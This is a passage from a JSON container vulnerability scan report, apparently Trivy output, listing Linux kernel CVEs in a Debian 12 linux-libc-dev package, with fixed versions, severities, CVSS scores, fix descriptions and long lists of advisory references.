"https://access.redhat.com/errata/RHBA-2026:20032", "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:19540", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19664", "https://access.redhat.com/errata/RHSA-2026:19666", "https://access.redhat.com/errata/RHSA-2026:19705", "https://access.redhat.com/errata/RHSA-2026:19711", "https://access.redhat.com/errata/RHSA-2026:19875", "https://access.redhat.com/errata/RHSA-2026:20051", "https://access.redhat.com/errata/RHSA-2026:20054", "https://access.redhat.com/errata/RHSA-2026:20087", "https://access.redhat.com/errata/RHSA-2026:20129", "https://access.redhat.com/errata/RHSA-2026:20130", "https://access.redhat.com/errata/RHSA-2026:20299", "https://access.redhat.com/errata/RHSA-2026:20593", "https://access.redhat.com/errata/RHSA-2026:21656", "https://access.redhat.com/errata/RHSA-2026:21690", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:21702", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23240", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:23468", "https://access.redhat.com/errata/RHSA-2026:23469", "https://access.redhat.com/errata/RHSA-2026:23470", "https://access.redhat.com/errata/RHSA-2026:23471", "https://access.redhat.com/errata/RHSA-2026:24814", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/security/cve/CVE-2026-46300", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-A009.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f84eca5817390257cef78013d0112481c503b4a3", "https://git.kernel.org/stable/c/2f2b16022a2e10ca7bccfb98db5ed2ec0f72641c", "https://git.kernel.org/stable/c/3599e6b3cc1ada96883d496a50a210d3afbb6987", "https://git.kernel.org/stable/c/3884358a9286b17f389a72b1426fc4547c23c111", "https://git.kernel.org/stable/c/3bd9e113d50034db99d7ef69fd8e5242d15e414a", "https://git.kernel.org/stable/c/760e1addc27ba1a7beb4a0a7e8b3e9ec49e7a34e", "https://git.kernel.org/stable/c/78bf6b6bb19541d19fbda6242e7cfe2c682763c0", "https://git.kernel.org/stable/c/9d3e5fd19fe1063bf607219e8562fbd567b8e8d5", "https://git.kernel.org/stable/c/f84eca5817390257cef78013d0112481c503b4a3", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.5.1/BRSA-wvbenfkzmsgy.toml", "https://github.com/v12-security/pocs/tree/main/fragnesia", "https://linux.oracle.com/cve/CVE-2026-46300.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/all/agRfuVOeMI5pbHhY@v4bel/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46300", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46300.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-46300", "https://www.cve.org/CVERecord?id=CVE-2026-46300", "https://www.openwall.com/lists/oss-security/2026/05/21/11" ], "PublishedDate": "2026-05-23T12:17:02.66Z", "LastModifiedDate": "2026-10-29T17:30:34.06Z" }, { "VulnerabilityID": "CVE-2026-46301", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46301", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:740e3a62ce7e9df28138acdbf0f5f5349461e3f0ac3615b1a36eb6fae4b90122", "Title": "kernel: spi: topcliff-pch: fix use-after-free on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: topcliff-pch: fix use-after-free on unbind\n\nGive the driver a chance to flush its queue before releasing the DMA\nbuffers on driver unbind", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46301", "https://git.kernel.org/linus/9d72732fe70c11424bc90ed466c7ccfa58b42a9a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0e8e57f9737ea257634db1d152fc430a0788a3e1", "https://git.kernel.org/stable/c/36e58c436d2c2a797800427dc04d74ffd8b6ce1c", "https://git.kernel.org/stable/c/43334836b907adc21eab3079d2e6b26754468786", "https://git.kernel.org/stable/c/4ca90deeca1c7dd72c1c380ba8143565516def2d", "https://git.kernel.org/stable/c/8822980668c96b5aa251c1e2daec1873262b8f3f", "https://git.kernel.org/stable/c/9d72732fe70c11424bc90ed466c7ccfa58b42a9a", "https://git.kernel.org/stable/c/d50ef3553acbacce6f2843304d41d06dca358bb6", "https://git.kernel.org/stable/c/d79e92161b65832e0b8cad5f3d84d17e5cd7a970", "https://lore.kernel.org/linux-cve-announce/2026060859-CVE-2026-46301-5988@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46301", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46301" ], "PublishedDate": "2026-06-08T17:16:48.56Z", "LastModifiedDate": "2026-07-23T08:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-46323", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1950d407475f671b3d5723a77a73eceedbc007cf125f737236af25a911dbabf0", "Title": "kernel: Linux kernel: Use-After-Free in net/gro due to improper handling of zerocopy skbs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: don't merge zcopy skbs\n\nskb_gro_receive() can currently copy frags between the source and GRO\nskb, without checking the zerocopy status, and in particular the\nSKBFL_MANAGED_FRAG_REFS flag.\n\nWhen SKBFL_MANAGED_FRAG_REFS is set, the skb doesn't hold a reference\non the pages in shinfo-\u003efrags. Appending those frags to another skb's\nfrags without fixing up the page refcount can lead to UAF.\n\nWhen either the last skb in the GRO chain (the one we would append\nfrags to) or the source skb is zerocopy, don't merge the skbs.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-123" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27735", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:44230", "https://access.redhat.com/errata/RHSA-2026:44231", "https://access.redhat.com/errata/RHSA-2026:44259", "https://access.redhat.com/errata/RHSA-2026:44262", "https://access.redhat.com/errata/RHSA-2026:44270", "https://access.redhat.com/errata/RHSA-2026:47727", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62640", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:62642", "https://access.redhat.com/security/cve/CVE-2026-46323", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/4db79a322db8c97f7b73b8a347395ef4d685eb40%20%287.1-rc5%29", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1f9c828556416fbe3f49386708ce999fc4d4da06", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=44bea2032af0425e4ce6d26a8af0ede79db49ec1", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=479084ae0e1d9cb7929cb4298d35623de189f80a", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=4db79a322db8c97f7b73b8a347395ef4d685eb40", "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e334cbf3388fd9334503a778a82d9e9f14dd2f71", "https://git.kernel.org/stable/c/1f9c828556416fbe3f49386708ce999fc4d4da06", "https://git.kernel.org/stable/c/3c6cc9f2ca65b6dd61b1af75452dc0e1cd0aad8d", "https://git.kernel.org/stable/c/44bea2032af0425e4ce6d26a8af0ede79db49ec1", "https://git.kernel.org/stable/c/479084ae0e1d9cb7929cb4298d35623de189f80a", "https://git.kernel.org/stable/c/4db79a322db8c97f7b73b8a347395ef4d685eb40", "https://git.kernel.org/stable/c/e334cbf3388fd9334503a778a82d9e9f14dd2f71", "https://linux.oracle.com/cve/CVE-2026-46323.html", "https://linux.oracle.com/errata/ELSA-2026-44270.html", "https://lore.kernel.org/netdev/4d583fc5401298453d0a2f1b4719a15be30c8e49.1779194090.git.sd@queasysnail.net/", "https://lore.kernel.org/netdev/agVpIsaSherjHTYg@sultan-box/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46323", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46323.json", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cve.org/CVERecord?id=CVE-2026-46323" ], "PublishedDate": "2026-06-09T13:16:37.753Z", "LastModifiedDate": "2026-10-19T20:18:43.21Z" }, { "VulnerabilityID": "CVE-2026-46331", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46331", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8801d8ed78a1c9e2f554e91ae19febc434250bf5227811a634f4e9e7f823f4b", "Title": "kernel: net/sched: act_pedit: extend the writable skb range per key", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix pedit partial COW leading to page cache corruption\n\ntcf_pedit_act() computes the COW range for skb_ensure_writable()\nonce before the key loop using tcfp_off_max_hint, but the hint does\nnot account for the runtime header offset added by typed keys. This\ncan leave part of the write region un-COW'd.\n\nFix by moving skb_ensure_writable() inside the per-key loop where\nthe actual write offset is known, and add overflow checking on the\noffset arithmetic. For negative offsets (e.g. Ethernet header edits\nat ingress), use skb_cow() to COW the headroom instead. Guard\noffset_valid() against INT_MIN, where negation is undefined.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27288", "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:27355", "https://access.redhat.com/errata/RHSA-2026:27704", "https://access.redhat.com/errata/RHSA-2026:27705", "https://access.redhat.com/errata/RHSA-2026:27706", "https://access.redhat.com/errata/RHSA-2026:27707", "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27709", "https://access.redhat.com/errata/RHSA-2026:27713", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:28962", "https://access.redhat.com/errata/RHSA-2026:29080", "https://access.redhat.com/errata/RHSA-2026:29794", "https://access.redhat.com/errata/RHSA-2026:29799", "https://access.redhat.com/errata/RHSA-2026:29833", "https://access.redhat.com/errata/RHSA-2026:29856", "https://access.redhat.com/errata/RHSA-2026:29863", "https://access.redhat.com/errata/RHSA-2026:33219", "https://access.redhat.com/errata/RHSA-2026:33220", "https://access.redhat.com/errata/RHSA-2026:33221", "https://access.redhat.com/errata/RHSA-2026:33222", "https://access.redhat.com/errata/RHSA-2026:33223", "https://access.redhat.com/errata/RHSA-2026:33224", "https://access.redhat.com/errata/RHSA-2026:33225", "https://access.redhat.com/errata/RHSA-2026:33666", "https://access.redhat.com/errata/RHSA-2026:34048", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:40021", "https://access.redhat.com/security/cve/CVE-2026-46331", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/899ee91156e57784090c5565e4f31bd7dbffbc5a%20%287.1-rc7%29", "https://git.kernel.org/stable/c/2bec122b9fb91507a758ab5e3e5c4fbe7cb3f61b", "https://git.kernel.org/stable/c/3dee9d0c198faeb95d052c1b94c2958751a28512", "https://git.kernel.org/stable/c/544d857b42a1734b923040e13aa61a6fd4746cf2", "https://git.kernel.org/stable/c/899ee91156e57784090c5565e4f31bd7dbffbc5a", "https://git.kernel.org/stable/c/a071e057518decc5e3bec89855758f5f8786f2c5", "https://git.kernel.org/stable/c/b198ed4e52580a7238c7c7082f03906f8b310313", "https://git.kernel.org/stable/c/b685d6ef6f07a3b5ce814565a25f39f2157538a5", "https://git.kernel.org/stable/c/d5d01d35a5a7d36f7cb679b67d9cbdd5205672dc", "https://github.com/sgkdev/packet_edit_meme/tree/main", "https://linux.oracle.com/cve/CVE-2026-46331.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/netdev/20260516162825.1480113-1-rollkingzzc@gmail.com/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46331", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46331.json", "https://ubuntu.com/security/notices/USN-8629-1", "https://ubuntu.com/security/notices/USN-8629-2", "https://ubuntu.com/security/notices/USN-8629-3", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46331" ], "PublishedDate": "2026-06-16T08:16:23.993Z", "LastModifiedDate": "2026-10-15T02:19:54.27Z" }, { "VulnerabilityID": "CVE-2026-46333", "VendorIDs": [ "DSA-6275-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.172-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46333", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2dd9ef2e7d65e86a6a7ef3fbe960e6e9ae4677019e2a36b248469cd3b52af679", "Title": "kernel: Read root-owned files as an unprivileged user", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nptrace: slightly saner 'get_dumpable()' logic\n\nThe 'dumpability' of a task is fundamentally about the memory image of\nthe task - the concept comes from whether it can core dump or not - and\nmakes no sense when you don't have an associated mm.\n\nAnd almost all users do in fact use it only for the case where the task\nhas a mm pointer.\n\nBut we have one odd special case: ptrace_may_access() uses 'dumpable' to\ncheck various other things entirely independently of the MM (typically\nexplicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for\nthreads that no longer have a VM (and maybe never did, like most kernel\nthreads).\n\nIt's not what this flag was designed for, but it is what it is.\n\nThe ptrace code does check that the uid/gid matches, so you do have to\nbe uid-0 to see kernel thread details, but this means that the\ntraditional \"drop capabilities\" model doesn't make any difference for\nthis all.\n\nMake it all make a *bit* more sense 